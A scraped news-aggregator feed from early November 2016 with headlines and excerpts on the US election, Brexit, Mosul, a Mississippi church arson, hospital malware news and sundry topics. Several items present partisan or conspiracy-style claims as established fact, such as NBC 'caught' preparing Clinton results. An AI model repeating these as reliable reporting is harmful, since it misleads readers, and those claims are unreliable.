A revolution is in the making, aided by the Internet. Pockets of cultural and ecological wisdom, both indigenous and modern, are now connected at the same time that the lies—such as the 935 lies that led us into the elective war on Iraq—more easily detected.

Still absent is a precipitant of revolution—our Tunisian fruit seller—and a groundswell of demand for the fundamentals of conscious evolution, the tools for information-sharing and sense-making as a collective, a new civilization, one without corruption and waste, both made possible by transformative politics, which is to say politics with integrity, based on evidence, and in the public interest.

How are we to achieve this mass elevation of humanity in the face of what some call the looming ‘sixth extinction?’ I offer three visual interventions for reflection.

Electoral Reform

With a humble apology to all of those fighting for climate change and other worthy causes, I will tell you what I told Tom Steyer: no amount of money or protest will lead to an honest hearing for any single issue as long as we continue to have a rigged system in which two parties control the public treasury and 70% percent of all eligible voters are disenfranchised. While I speak of the US in this instance, the same conditions apply in most countries, where virtual dictatorships and virtual fascism (control by banks) is...

23:00

An Agenda for Global Fiscal Activism "IndyWatch Feed Economics"

The British government, along with the next US president, should broaden the definition of fiscal activism beyond domestic infrastructure investment to include global development more generally. Without thriving export markets, British and American attempts to rebalance their economies will be in vain.

23:00

The video chilling the blood of every American tank crew: ISIS obliterates M1 Abrams tank with handheld Russian missile - showing just how vulnerable US armor is "IndyWatch Feed World"


  This video shows a Russian-made missile fired by ISIS completely destroying an American-made tank. The clip shows a Kornet anti-tank guided missile (ATGM) striking the back of an Iraqi M1 Abrams tank, according to Dr Dan Goure, a national security analyst who is the vice president of the Lexington Institute.     The missile is seen homing in on the tank and when it hits, the tank erupts into flames and is completely obliterated. Dr Goure claims the incident illustrates to an alarming extent how the United States' armored vehicles have become almost obsolete on today's battlefield. 'A YouTube video of an M-1 tank being destroyed by an ISIS-fired anti-tank guided missile makes an irrefutable case for the U.S. Army acquiring active protection systems (APS) now,' Dr Goure said. 'The Army says all the right things about wanting APS, but its current program does not reflect the urgency of the requirement. Congress needs to push the Army to deploy an existing system as soon as possible. The clip doesn't reveal the fate of the tank's five-man crew, but Dr Goure says it is 'unquestionable' that they were killed. The US's M1 Abrams was first introduced in 1979 and has undergone numerous updates over the decades. It lags behind in a vital area – active protection, according to Business Insider. Meanwhile, in Syria alone, there are eight different ATGMs that can damage any type of armored tank. The Russian Kornet ATGM was first produced for the Red Army in 1998. It reportedly fired a tandem round which can destroy US versions of Abrams tank that even have explosive reactive armor – sensors that see missiles coming and counter them with an explosion. And the terror group's victory would mark another loss for the Iraqis who are trying to reclaim Mosul - the last major ISIS stronghold in Iraq. Driving the militant group from the city would be a major blow to the survival of its self-declared 'caliphate' that stretches into Syria.       Source: dailymail.co.uk
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22:59

New Bionic Eye Implant Connects Directly To Brain, Allowing Blind Woman To See Shapes & Colors "IndyWatch Feed World"

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Scientists may have made a significant breakthrough in restoring human sight, as a woman who had been blind for seven years has regained the ability to see shapes and colours  Full Article »

22:58

Why the British parliamentary vote may matter "IndyWatch Feed Economics"

No, I don’t see them voting down Brexit, any more than Republican Senators ever were going to endorse Hillary Clinton, even though many of them are rooting for her.  The more likely scenario out of Brexit is simply that Parliament stalls, demanding that Theresa May give them “the right Brexit.”  Of course there is no such thing, wrong Brexit is wrong Brexit, if only because EU-27 cannot agree on very much.  But with enough stalling, eventually another national election will be held and of course Brexit would be a major issue, probably the major issue.  That in essence would serve as a second referendum, and if anti-Brexit candidates did well enough, parliamentarians would have cover to go against the previous expression of the public will.

I give that path out of Brexit p = 0.2, with another p = 0.1 for “somehow Brexit just doesn’t happen.”

Here is commentary from Joshua Tucker.  And from Jolyom Maugham.

Addendum: The final word on Brexit rights may be held by…the European Court of Justice.

The post Why the British parliamentary vote may matter appeared first on Marginal REVOLUTION.

22:55

CNN Poll: Hillary Clinton’s Lead Shrinks to Two Points in Pennsylvania "IndyWatch Feed Politics.us"

Hillary Clinton addresses a campaign rally in Sanford, Florida, on November 1, 2016. With one week to go until election day, Hillary Clinton and Donald Trump were barnstorming battleground states, as the Democratic nominee tried to pivot away from attacks on her protection of US secrets. / AFP / JEWEL SAMAD (Photo credit should read
The poll shows that 46 percent of registered voters support Clinton while 44 percent support Trump. Five percent support Libertarian candidate Gary Johnson wile only three percent support Green party candidate Jill Stein.

22:53

WikiLeaks Did Not Receive Clinton Emails From Russian Govt "IndyWatch Feed World"

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In a John Pilger Special, to be exclusively broadcast by RT on Saturday courtesy of Dartmouth Films, whistleblower Julian Assange categorically denied that the troves of US Democratic Party and  Full Article »

22:51

Disengage or Die: Russia – Syria Give Aleppo “Rebels” a Last 10-Hour Ultimatum "IndyWatch Feed War"

The Russian General Staff announced on Wednesday that a new humanitarian pause in combat activities will be implemented in Aleppo on Friday from 9am to 7pm local time. The pause will give non-combatants a new chance to leave the “rebel-held” pocket in eastern Aleppo and “rebels” to leave the pocket with their weapons and to…

22:50

Something Big Is Underway On All Fronts: “Within The Next Few Weeks The Future Of The United States Will Be Decided” "IndyWatch Feed Economics"

Something Big Is Underway On All Fronts

Something Big Is Underway On All Fronts: “Within The Next Few Weeks The Future Of The United States Will Be Decided” As of this writing, the increased U.S. troop presence in Eastern Europe includes a battalion-sized element of American troops being emplaced in the Suwalki Gap, Polish territory that borders Lithuania in a 60-mile stretch…

The post Something Big Is Underway On All Fronts: “Within The Next Few Weeks The Future Of The United States Will Be Decided” appeared first on The Daily Coin.

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Pan-African News Wire "IndyWatch Feed Africa"

Fire at Mississippi Black Church Spray-Painted With “Vote Trump” Intentional, Possible Hate Crime
By Elliot Hannon
Slate

A fire at a historically black church in Greenville, Mississippi Tuesday night was set intentionally, officials said Wednesday, and is being investigated as a possible hate crime. The words “Vote Trump” were spray-painted on the side of the 110-year-old Hopewell Missionary Baptist Church. No one was injured in the blaze, but the church was badly damaged.

“[Fire Chief Ruben Brown] said investigators had concluded that the fire was “definitely arson” after discovering ‘some type of solvent or flammable substance’ inside,’” the New York Times reports. “And Police Chief Delando Wilson said a ‘person of interest’ was being interviewed by authorities ‘to see if this person was an active participant in this crime, or to rule them out from being a participant.’”

“We feel that the quote that was placed on the church was basically, it’s an intimidation of someone’s right to vote whatever way they choose to vote,” Wilson said. “So that would be definitely considered a hate crime.” Wilson said it was unclear if there was a racial motive. Mississippi Secretary of State Delbert Hosemann, however, said Wednesday: “I want to make it clear that the initial work here indicates this is not of a political nature, even though there may be something that says 'vote Trump' on the side of the church.

A GoFundMe page to support repairing the church raised more than $120,000 in less than 24 hours.
Elliot Hannon is a writer in New York City. Follow him on Twitter.

22:49

Old and busted: Samsung-Telefon explodiert in deiner ... "IndyWatch Feed Europe"

Old and busted: Samsung-Telefon explodiert in deiner Hosentasche.

New hotness: E-Zigarette explodiert in deiner Hosentasche.

Man kann einem Public Key ansehen, mit welcher Software ... "IndyWatch Feed Europe"

Man kann einem Public Key ansehen, mit welcher Software er erzeugt wurde, und ob die Software sich an die ganzen Best Practices für Keyerzeugung gehalten hat. Ausgesprochen cool!

22:49

Hundreds of migrants killed in shipwrecks off Libya: UN "IndyWatch Feed War"

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Migration group says 4,220 lives have now been lost in the Mediterranean this year

22:44

US War in Afghanistan Silently Slips into the Abyss "IndyWatch Feed Asia"

November 3, 2016 (Ulson Gunnar - NEO) - Despite the United States being engaged in what it calls "reconstruction" in Afghanistan, quarterly reports on their progress doing so reveals expanding violence and deepening poverty.



Washington Times in an article titled, "Afghanistan failures rising, progress eroding 15 years after U.S. intervention," reports that:
Opium production is up 43 percent in Afghanistan, the economy is struggling and the government has lost ground to insurgents over the last year, according to an inspector general’s report released Sunday that shows ongoing failures overshadowing the few signs of hope.

Indeed, every quarter, the "Special Inspector General for Afghanistan Reconstruction," or SIGAR, submits a report to the US Congress regarding US activities in Afghanistan regarding "reconstruction."

In reality, it is not only an audit that provides insight into America's ongoing, now 15 year long military occupation of Afghanistan, but reveals the very nature of this so-called "reconstruction" process. It is one that ensures inevitably whatever regime sits in Kabul remains entirely dependent on the United States, on immense funding from abroad and amid a conflict that seems only to expand as US troops "drawdown." It also depicts an immensely ineffective "reconstruction" process, riddled with corruption and unsustainable programs that is creating a nation according to US interests, with institutions built by and for America's own endgame, not that of the Afghan population's future.

It also reveals the role of organizations like USAID, depicted as rendering aid to foreign nations, while in reality overseeing an empire of corrupt contractors pursuing ineffective programs amid an unraveling nation.

Building a Nation in Wall Street's Dysfunctional, Unsustainable Image

One of the benefits of destroying an entire nation is the opportunity to rebuild it precisely how the conqueror desires. SIGAR reports, including the most recent, provide valuable insight into this process.


USAID spends billions in Afghanistan doing everything from allegedly building roads and hospitals, to economic programs to tr...

22:43

US Intelligence Insiders – Not Russia – Leaked Clinton Emails "IndyWatch Feed Nthamerica"

We’ve repeatedly shown that it’s much more likely that American insiders – not Russian hackers – leaked the Clinton emails. Today, the NSA executive who created the agency’s mass surveillance program for digital information, who served as the senior technical…

22:43

BN TV: Watch Nigerians share Tips on how to Spot if your Partner is Cheating on You "IndyWatch Feed Africa"

Is your boyfriend playing home or away match? Does ‘Edible Catering’ keep calling your boyfriend and does the food he ordered never seem to get delivered? Is your girlfriend’s phone attached to her hip at all times? Does every conversation lead to an argument? Can you never reach your boyfriend late at night or in […]

22:42

NBC CAUGHT PREPARING HILLARY VICTORY RESULTS BEFORE ELECTION "IndyWatch Feed World"

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A NBC station was caught posting election results showing a Hillary Clinton victory days before the election, fueling concerns that the mainstream media is conditioning the public to accept a  Full Article »

22:42

Pan-African News Wire "IndyWatch Feed Africa"

A Black Church Burned in the Name of Trump
Hopewell Missionary Baptist Church in Greenville, Mississippi, was reportedly set on fire and spray painted with the words “Vote Trump” on Tuesday night.

Hopewell M.B. Baptist Church in Greenville, Mississippi, was burned and sprayed with graffiti saying "Vote Trump" on TuesdayRogelio V. Solis / AP

November 2 at 12:27 p.m. EST
The Atlantic

A black church in Greenville, Mississippi, was set on fire on Tuesday night. Fire fighters arrived to find Hopewell Missionary Baptist Church “heavily engulfed in flames,” Mayor Errick Simmons said in an interview;  the fire took nearly an hour to contain. No one was in the church at the time, and no one was injured. On the side of the church, beneath the blackened windows and roof, the words “Vote Trump” have been spray painted.

The fire is being investigated as a hate crime, Simmons said. Federal authorities, including the FBI and the Bureau of Alcohol, Tobacco, and Firearms and Explosives, are helping local authorities with the investigation, which is part of the standard procedure for church fires. “We’re very cautious in this climate, in this day and time, to make sure we’re very deliberate in investigating matters like this,” Simmons said. This fire was “a direct assault on people’s right to free worship,” he said, and later added during a press conference, “I see this as an attack on the black church and the black community.”

In September, Simmons said, city officials found the word “nigger” painted on a boat front down by Greenville’s levee on the Mississippi River. The 34,000-person city is predominantly black, and while there is “a concerted, intentional effort for racial reconciliation among the races” in Greenville, he said, there have also been “cowardly acts of folks doing something.” In the days leading up to the election, the city will be placing additional patrols around all places of worship.

By and large, Simmons said, he expects the people of Greenville and the surrounding county of Washington will support Hillary Clinton.

Arson is notoriously difficult to prove. Last summer, when a spate of fires took place at black churches in South Carolina, Tennessee, Florida, and elsewhere, investigators looked into whether they were religiou...

22:40

World Factory "IndyWatch Feed Economics"

World Factory is an extraordinary theatre project that sets out to explore the impact of globalised production (and by extension, globalised trade) by creating an experiential space for its audience.

22:39

Investigation gives more information on final moments of Malaysia Airlines Flight MH370 "IndyWatch Feed World"

When Malaysia Airlines Flight MH370 mysteriously disappeared shortly after takeoff in March 2014, there was probably no one at the aircraft's controls when it crashed, a new analysis suggests. Satellite data contradicts recent claims that pilots were able to steer the aircraft during its final minutes of flight, right before it plunged into the ocean, Time.com reported. According to a statement released Wednesday (Nov. 2) by the Australian Transport Safety Bureau (ATSB), which is leading the search-and-recovery mission for the missing flight, models of the plane's final trajectory and evidence from wreckage linked to the missing flight show that preparations were not made for a controlled ditch, an emergency water landing under a pilot's guidance. Comment: Based on the data that shows no preparation for landing, it is strange to conclude that there were no pilots at the controls. Coming up with an explanation of why there were no pilots at the controls takes a lot more mental gymnastics than just the assumption that something catastrophic happened to the plane whilst in the air. There are many explanations that could account for the data, ranging from more and more common dangerous atmospheric phenomena to terrorism.

22:38

Political Tensions Mount in Final Week of US Election Campaign "IndyWatch Feed Nthamerica"

With only six days remaining in the US election campaign, both of the major capitalist parties are preparing for a situation where the November 8 vote fails to resolve the bitter struggle over control of the White House. With polls…

22:38

South Korea’s President in Crisis Over Corruption Scandals "IndyWatch Feed Nthamerica"

South Korean President Park Geun-hye’s administration has been thrown into turmoil by a series of scandals that last week forced her to remove key secretariat officials. Protests have also broken out, with demonstrators demanding she resign or be impeached. According…

22:37

The 1833 Blackburn Rebellion in Detroit: African Resistance, Emigration and the Burgeoning Anti-slavery Struggle "IndyWatch Feed Nthamerica"

By the turn of the 18th and 19th centuries Africans in the newly-formed United States were in rebellion against slavery. Since 1619 under British rule there had been a rising stream of indentured servants and enslaved persons fueling the agricultural…

22:37

Pan-African News Wire "IndyWatch Feed Africa"

"Vote Trump" Painted on Burned Mississippi Black Church
Jerry Mitchell
The Clarion-Ledger 5:28 p.m. CDT November 2, 2016
(Photo: Rogelio V. Solis/AP)

Authorities investigating a historically black church burned Tuesday night in Greenville also found “Vote Trump” spray-painted on the side.

Mayor Errick D. Simmons called the attack on the century-old Hopewell Missionary Baptist Church “a heinous, hateful and cowardly act,” which is being investigated as a possible hate crime.

“This act is a direct assault on people’s right to freely worship,” he said. “We will not rest until the culprit is found and fully prosecuted to the fullest extent of the law.”

It's the latest violence during a presidential election cycle that has turned increasingly ugly. Last month, someone burned a Republican headquarters in North Carolina, spray-painting a message on the side of the building, “Nazi Republicans leave town or else.”

Mississippi Gov. Phil Bryant decried the burning as a “despicable crime against people of faith,” saying he expected someone would be brought to justice.

The FBI has been notified of the incident, which is also being investigated by the state fire marshal's office, the Mississippi Bureau of Investigation and local authorities.

“The FBI Jackson Division is aware of the situation in Greenville,” said spokesman Brett Carr, “and we are working with our local, state and federal law enforcement partners to determine if any civil rights crimes were committed.”

Greenville officials said anyone with information about the fire should contact 662-378-TIPS.

Police Chief Delando Wilson said investigators worked all night to collect evidence. “At this moment, they’re interviewing possible witnesses,” he said. “We don’t have any suspects at this time. We are talking to a person of interest.”

He knows of no surveillance video that might have captured images of those responsible.

Fire Chief Ruben Brown Sr. said the fire department received a call at 9:16 p.m., finding the church engulfed in flames.

Hopewell received heavy water and smoke damage, he said. “The cause and origin of the fire is under investigation. Samples have been taken.”

The Rev. Carilyn F. Hudson, the pastor of Hopew...

22:34

Mosul Residents Say Islamic State Forcibly Gathering Civilians "IndyWatch Feed Politics.us"

Iraqi families, who were displaced by the ongoing operation by Iraqi forces against jihadists of the Islamic State group to retake the city of Mosul, are seen near Qayyarah as they flee on October 29, 2016. Iraqi paramilitary forces launched an operation to cut the Islamic State group's supply lines between its Mosul bastion and neighbouring Syria, opening a new front in the nearly two-week-old offensive. / AFP / BULENT KILIC (Photo credit should read BULENT KILIC/AFP/Getty Images)
The Islamic State group is forcibly gathering people in and around Mosul for possible use as human shields against advancing Iraqi forces, residents said Wednesday, confirming UN fears.

22:33

After a quiet day in Dublin, drama in the English High Court. But don’t get too excited… "IndyWatch Feed Politics.eu"

It would be as well not to get over excited over this morning’s rejection in the English High Court of the UK government’s case that it can trigger Article 50 without the consent of Parliament.  The show isn’t over yet; the denouement was always likely  to be played out at the top. The government will more...

22:31

Winslow Police Officer Austin Shipley, Who Shot Native American Woman Loreal Tsingine, Has Resigned "IndyWatch Feed War"

On March 27th, Winslow Police Officer Austin Shipley shot Loreal Tsingine after he and his partner responded to a shoplifting complaint in the Arizona city. Officer Shipley testified that he was “forced” to shoot Tsingine five times after she attacked him with a pair of scissors.

In April, CopBlock Network contributor Brian Sumner posted about the shooting and the many questions members of Tsingine’s Navajo tribe and other indigenous tribes, as well as other activists had about the necessity of shooting her. Also, in July, I posted the body camera video (embedded below) of the shooting, which only raised more questions when it indicated that she was only “armed” with very small medical scissors and hadn’t actually raised her arms prior to being shot.

Although, the Maricopa County Prosecutor indicated upon releasing the body cam video that they would not be charging Officer Austin Shipley with a crime in relation to Tsingine’s shooting, it has now been reported that he has “decided to resign.”

Via 12News.com, the local NBC affiliate:

Winslow police officer Austin Shipley resigned from his position Monday, according to the Winslow Police Department.

Shipley shot 27-year-old Loreal Tsingine five times near a shop in Winslow in March, killing her.

An internal affairs investigation on the shooting performed by the Mesa Police Department was concluded last week.

According to Winslow PD, the results were reviewed by the department’s interim director, Christopher Vasquez, who met with Shipley Monday.

Shipley then decided to resign.

Documents from the invest...

22:30

Suing Saudi Arabia for its Alleged Role in 9/11: Overturning Sovereign Immunity in US Courts "IndyWatch Feed Nthamerica"

It was momentous on one fundamental level. Here was the President of the United States, Barack Obama, holding the torch for a wretched ally the politicians on the Hill and others have had reservations over for many years.  Saudi Arabia,…

22:30

EDC Everyday Carry 2016 (Video) "IndyWatch Feed Economics"

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EDC Everyday Carry 2016 Sensible Prepper Presents: EDC or Everyday Carry are the items you find you need on an everyday basis. This is my current EDC for Fall 2016. Esai Garcia Is your edc knife better than a cold steel knife? I been looking for a good knife, but I don’t know a lot…

The post EDC Everyday Carry 2016 (Video) appeared first on The Daily Coin.

22:30

When Charlottesville Was Nuked "IndyWatch Feed War"

A 23 kiloton tower shot called BADGER, fired on April 18, 1953 at the Nevada Test Site, as part of the Operation Upshot-Knothole nuclear test series.

22:30

Kosmos: Javier Collado-ruano – The Cosmodern Paradigm – Learning to Co-Evolve Harmonically with Nature "IndyWatch Feed War"

kosmos logoThe Cosmodern Paradigm: Learning to Co-Evolve Harmonically with Nature

In September 2015, the United Nations General Assembly held in New York achieved the commitment of 193 Member States to stop environmental degradation with the Sustainable Development Goals (SDG) for…

22:30

Leading Climate Change: The Need for Better Dialogue "IndyWatch Feed Enviro"

With COP22 on the horizon, it is a critical moment for better dialogue and an unparalleled opportunity to maintain the momentum generated in Paris. Protecting the planet from climate change calls for unprecedented levels of collaboration across countries and a new focus on both the big picture and the longer-term. Given how difficult it can be to talk together about tough issues, what can be done to enable better dialogue asks Leadership Consultant SARAH ROZENTHULER

22:28

Mitch McConnell Weighs In: ‘We Need A New President, Donald Trump’ "IndyWatch Feed Politics.us"

Senate Majority Leader Mitch McConnell speaks to a group of high school students and business leaders in Brandenburg, Ky., Tuesday, Oct. 25, 2016. (
"We need a new president, Donald Trump," Mitch McConnell said, according to Associated Press. The Leader has neither cheered nor jeered the New York City developer in recent months.

22:27

The Great British Betrayal: Brexiteers May Need to Take to The Streets To Ensure We Leave "IndyWatch Feed Politics.us"

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This morning Britain’s High Court ruled that the government must consult the British Parliament before invoking Article 50 of the Lisbon Treaty, beginning Britain’s exit from the European Union. The ruling is wrapped in irony. The irony of a High Court still subservient to Brussels demanding than an un-sovereign parliament, which Brexiteers wish to be sovereign, vote on whether that Court remains subservient or not, while we Leave campaigners fear the actions of the parliament we want to be sovereign. Now the establishment is narrowing the path to Brexit, with the early 2017 timetable hanging in the balance. I believe we may be on the cusp of something we haven’t seen in our country in many decades: en masse direct action. We know the anti-establishment side can do it. Remember the Iraq War protests, or the march against the fox hunting ban? WHY? The government promised to implement the will of the people. And the very definition of a referendum is that it is a vote by the general public which has been referred to them for a “direct decision”. Who's up for projecting this onto the High Court tonight? pic.twitter.com/A7fKagX28N — Raheem Kassam (@RaheemKassam) November 3, 2016 Taken together,

22:26

Putin: Russians Were Told to Mind Their Own Business on Tsarnaev "IndyWatch Feed Nthamerica"

Vladimir Putin said Russian officials were told not to interfere in the US’s domestic affairs after multiple attempts to warn about Tamerlan Tsarnaev’s growing radicalization.

The Russian president’s remarks about the lead-up to the 2013 Boston Marathon bombing were made during a recent address to the Valdai Discussion Club in Sochi, Russia.

Putin’s claim, however, directly refutes the official US stance, which maintains that the FBI repeatedly asked the Russians for more substantive information on Tsarnaev so it could investigate deeper. The Bureau claims its hands were tied because Russia wouldn’t provide more information.

The FBI maintains it first became aware of Tsarnaev from a March 2011 memo sent by Russia’s Federal Security Service (known by the Russian acronym FSB). There is, however, documentary evidence Tsarnaev was on the bureaus investigatory radar before Russia’s warning.

But, getting back to Russia’s March 2011 memo — it stated that Tsarnaev had “changed radically,” and that he was “a follower of radical Islam.” The FSB also claimed to have knowledge that Tsarnaev intended to travel to Russia’s Caucasus region to join underground militant groups.

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22:26

“Hola Hola”! Check out Sugarboy’s New Photos "IndyWatch Feed Africa"

Singer Sugarboy‘s rise in the Nigerian entertainment industry has been interesting to watch. Since he dropped his debut single “Raba” in January 2015, he has continued to drop nice hits like “Hola Hola”, “Double” and “Legalize”. He has released some new promo photos to round out the year. See the photos below!

22:21

Hillary Clinton Regains 2 Point Lead In Latest ABC/WaPo Poll; S&P Futures, Peso Jump "IndyWatch Feed World"

By Tyler Durden

With fundamentals irrelevant in a market controlled by central banks, the algos and early rising traders have found a new catalyst to trade off: the daily 7am release of the refreshed ABC/WaPo poll, and if anyone is wondering why the peso suddenly spiked…

… coupled with US risk assets suddenly going bid, it is becuase in the latest poll, Hillary Clinton has regained the lead from Donald Trump, who was leading as recently as two days ago, and was tied with Hillary yesterday.

Hillary Clinton takes two-point lead over Donald Trump in today’s @ABC News/WaPo tracking poll. https://t.co/antdVUuMSm pic.twitter.com/auJyIf4GVx

— ABC News Politics (@ABCPolitics) November 3, 2016

Overall, likely voters divide 47-45 percent between Hillary Clinton and Donald Trump in the latest ABC News/Washington Post tracking poll. Third-party candidates Gary Johnson and Jill Stein have 3 and 2 percent support, respectively.

As ABC writes, numerically the race has gone from +1 Trump to 0 to +2 Clinton in four-night averages in this poll, produced for ABC by Langer Research Associates. It notes that these are not significant changes given the survey’s sample size, about 1,100 likely voters, however the Clinton lead is all the algos needed to promptly launch buying programs and send futures to session highs.

Some more details:

Trump has had a non-significant but numerical advantage just twice in ABC/Post polls, +2 in a two-way test May 19 and +1 Oct. 30. Clinton, for her part, has held significant and even substantial leads,...

22:18

Black Hat Europe: IoT Devices Can Hack Phones "IndyWatch Feed Tech"

The Internet of things (IoT) has already been used to launch the biggest DDoS attacks ever, but now it represents a potential path for attackers to compromise cell phones.

Flaws in Belkin WeMo devices - electrical switches, cameras, light bulbs, coffee makers, air purifiers, etc. – enabled Invincea Labs researchers to not only hack into the devices, but to use that access to attack an Android phone running the app that controls the WeMo devices.

"This is the first instance we've seen of IoT hacking something else," says researcher Scott Tenaglia, who pledges to look for other vulnerable devices that might be abused to carry out similar attacks.

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22:17

Hundreds Of Operations Canceled After Malware Hacks Hospitals Systems "IndyWatch Feed Tech"

Computer viruses do not discriminate. They are not just hacking your email and online banking accounts anymore. Computer viruses do not distinguish between a personal computer or a hospital machine delivering therapy to patients — and the results could prove deadly. Cyber attacks on hospitals have emerged as a significant cyber security risk in 2016, which not only threaten highly sensitive

22:16

James Rodriguez Adamant, Still Wants Real Madrid Exit "IndyWatch Feed Africa"

James Rodriguez is still keen to leave Real Madrid despite earning more minutes this season under Zinedine Zidane, before a recent injury

Know Your Player: James David Rodríguez Rubio, known as James Rodríguez, is a Colombian professional footballer who plays for Spanish club Real Madrid and captains the Colombia national team as an attacking midfielder or winger. He was born on the 12th of July, 1991 and got  married to his wife, Daniela Ospina in 2010.

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22:15

RUNS WITH HORSES by Brian Burks "IndyWatch Feed 1stpeople"

Last night, I received an email about Runs With Horses, by Brian Burks. It was published in 1995 by Harcourt Brace. My quick look into the book indicates that Scholastic published it in 1996.

Based on a review of it in A Broken Flute: The Native Experience in Books for Children, I'm tagging Runs With Horses as "not recommended."

Here's the description, from Amazon:

Sixteen years old in 1886, Runs With Horses is a member of the last small band of Apaches continuing to resist the U.S. Army. His training for manhood as a Chiricahua Apache has been difficult but thrilling, and he is eager to accomplish the final two of the four raids required to become a warrior. Sadly, this is not possible when they at last surrender to the U.S. Army.

The review is by Beverly Slapin. She made several points in her review that I believe I'd make, too, if I read Runs With Horses. Here's one:

About the line, "My son, you are not yet a Chiricahua Apache warrior.", Slapin writes that a person of that time period, speaking to another person of their nation, would use their own name for their nation. They wouldn't use an outsider name. Realistically, that line ought to read "My son, you are not yet an Ndee warrior."

"Chiricahua Apache" versus "Ndee" might seem a small point to most readers, but if it was a story about someone of my tribal nation and the people in it were speaking about us in ways that outsiders do, I'd object.

Get a copy of A Broken Flute. Use it when you are selecting books to use in your classroom and to make decisions about what to remove from your classroom or library. You can get a new copy from Birchbark Books.

22:13

Union Bank Launches Elite Banking for the Emerging Middle Class with the Proposition ‘It’s All About You’ "IndyWatch Feed Africa"

Union Bank, one of Nigeria’s longest standing financial institution, has reaffirmed its position as the most improved retail bank in Nigeria with the recent launch of its Elite Banking Segment which promises a range of personalized banking services targeted at the emerging middle class. With the launch of the segment, the emerging middle class now […]

22:12

Petition to reduce Australia's excessive immigration and foreign worker intake "IndyWatch Feed World"

Jeff Dorset has begun a campaign addressed to the Prime Minister to reduce Australia`s economic, non refugee immigration intake to economically.environmentally and socially responsible level of 50,000 net pa and significantly reduce 457 Visa and other foreign worker import program. Please consider signing it.

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REDUCE AUSTRALIA`S (non refugee) EXCESSIVE IMMIGRATION and FOREIGN WORKER INTAKE

Reduce Australia`s economic, non refugee immigration intake to economically.environmentally and socially responsible level of 50,000 net pa and significantly reduce 457 Visa and other foreign worker import program

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High non refugee immigration is destroying Sydney,Melbourne and other over populated regions of Australia. It is putting majo...

22:12

A Roof, a Skill, a Market: The Multiple Dimensions of Scale "IndyWatch Feed Economics"

The Nubian Vault Association has evolved a quite different approach: the long-term, muti-dimensional cultivation of living local economies based on three kinds of value: a roof, a skill, and a market.

22:11

Lions bite hippo, hippo bites car "IndyWatch Feed Africa"

This video from South Africa says about itself:

Hippo Bites Land Rover As Lions Attack

3 November 2016

A bit more about the sighting:

In this video it is incredible to see how a pride of lion attempt to take down a fully grown hippopotamus. Watch how the hippo turns to take its frustration out on a nearby vehicle.

25 year old, Dean Grant, works in the construction industry as a Finance and Operations Manager but during his off-time, he decided to head off to the Kruger National Park with his family.

“Having visited game parks on many family holidays growing up, we had never seen anything like this. We told many rangers about our experience none of which had ever heard of such a thing and said if they had been asked “would lion ever attack a hippo?”, they would have said no.

We saw the attack quite early in the morning. We had driven into the park from Mjejane as soon as the gates were open. We decided to go west along the river to start our drive. All our eyes were peeled, we were feeling fresh and excited searching the bush in anticipation, not knowing what our first big spot of the day would be. We were really hoping to see some cats as we had yet to tick those off our lists. We hardly expected to see a pride of 8 females and some teenage cubs in full attack mode right in front of us.

The initial sighting of the lions, full of energy, sparked excitement. This was followed by a feeling of sorrow for the poor old hippo who didn’t stand much chance against the lion pride.

Horror, when the thought of how much pain and stress the hippo was in and to see the hippo’s eyes realise imminent death.

However, as this is an event of life taking its course, I felt a sense of respect for the lion pride’s hard work and determination to make their next big kill to feed the pride. A feeling of uncertainty also made an appearance as the hippo made a move towards the river,...

22:10

Hillary Is The Perfection of a Corrupt System "IndyWatch Feed Economics"

Hillary Is The Perfection of a Corrupt System

Hillary Is The Perfection of a Corrupt System Exposing the Clintons’ perfection of a corrupt political system won’t change the conditions and incentives that created the Clintons’ harvester of corruption. Let’s set aside Hillary Clinton as an individual and consider her as the perfection of a corrupt political system. As I noted yesterday, Politics As Usual Is…

The post Hillary Is The Perfection of a Corrupt System appeared first on The Daily Coin.

22:09

Guangzhou Consider Chelsea's Legend, John Terry Move "IndyWatch Feed Africa"

Chinese side, Guangzhou Evergrande, are considering a move for Chelsea's legend, defender John Terry, and would be willing to pay the centre-back £8 million per season.

Know Your Player: John George Terry is an English professional footballer who plays for and captains Premier League club, Chelsea. He commonly plays as a centre-back. He was captain of the England national team.. Terry was born on  the 7th of December, 1980.

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22:09

S’African opposition calls Nov. 10 Zuma no-confidence vote "IndyWatch Feed Africa"

South Africa’s parliament will debate a motion of no confidence against President Jacob Zuma on Nov. 10 following a report by the anti-graft watchdog over allegations of influence-peddling, opposition leader Mmusi Maimane said on Thursday. The report stopped short of conclusive findings against Zuma but is likely to add to calls for him to resign, […]

22:08

Garage owner “We would not do business with ISIS, we would not do business with Israel” "IndyWatch Feed War"

Brave Briton refutes Balfour Declaration after 99 years ‘We would not business with ISIS, we would not business with Israel. They are the same thing,’ the British citizen said. “The children that are getting killed there on a daily basis are just individuals that live there. They have no reason to be slaughtered and murdered […]

22:07

Hariri named as Lebanon's new prime minister "IndyWatch Feed War"

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Former prime minister resumes post five years on after throwing his support behind former political rival

22:06

Theresa May must consult Parliament before triggering Article 50 to leave EU – High Court David Icke latest headlines

‘In a major blow for Prime Minister Theresa May, the British government has lost its case for making the sole call on triggering Article 50, the formal process to begin negotiations to leave the European Union. Three senior judges ruled that Theresa May does not have the power to use the royal prerogative and trigger Article 50 without prior authority of Parliament. The government had argued it would not give MPs a say on Brexit negotiations ahead of invoking the mechanism.’ Read more: Theresa May must consult Parliament before triggering Article 50 to leave EU – High Court

22:05

EPL: From Barca to ‘Boro, Man City go back to basics "IndyWatch Feed Africa"

After beating the ‘best team in the world’, playing lowly Middlesbrough on a November afternoon in the north of England should bring Premier League leaders Manchester City nicely back to earth. Saturday’s home game may look like three easy, if unglamorous, points after City’s 3-1 Champions League heroics against Barcelona but midfielder Kevin De Bruyne […]

22:05

Russian scientists say they’ve discovered a secret Nazi base in the Arctic The Nazi stronghold in the Arctic Circle. "IndyWatch Feed World"

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Russian scientists claim they’ve found the remains of a secret Nazi base on a remote island in the Arctic Circle.

The discovery of more than 500 Nazi artifacts on an island called Alexandra Land has led the team to believe it was the site of a long-rumored base known as Schatzgraber, or “Treasure Hunter”, which was built on direct orders from Adolf Hitler.

Schatzgraber was a mysterious Arctic weather station that was built in 1942 after Hitler invaded Russia.

Its construction – and abandonment – was documented in the 1954 German book Wettertrupp Haudegenbut no one had ever found physical evidence that it existed until now, and it’s often dismissed as a war-time myth.

According to the written record, Schatzgraber was serviced from 1943, but was abandoned a year later in July 1944, after the staff at the site ate under-cooked polar bear meat that was contaminated with round worm and poisoned themselves.

The soldiers were rescued by a German U-boat, but the base was abandoned after that, and to this day, no one is entirely sure what the point of the base was, or, until now, where it had been located.

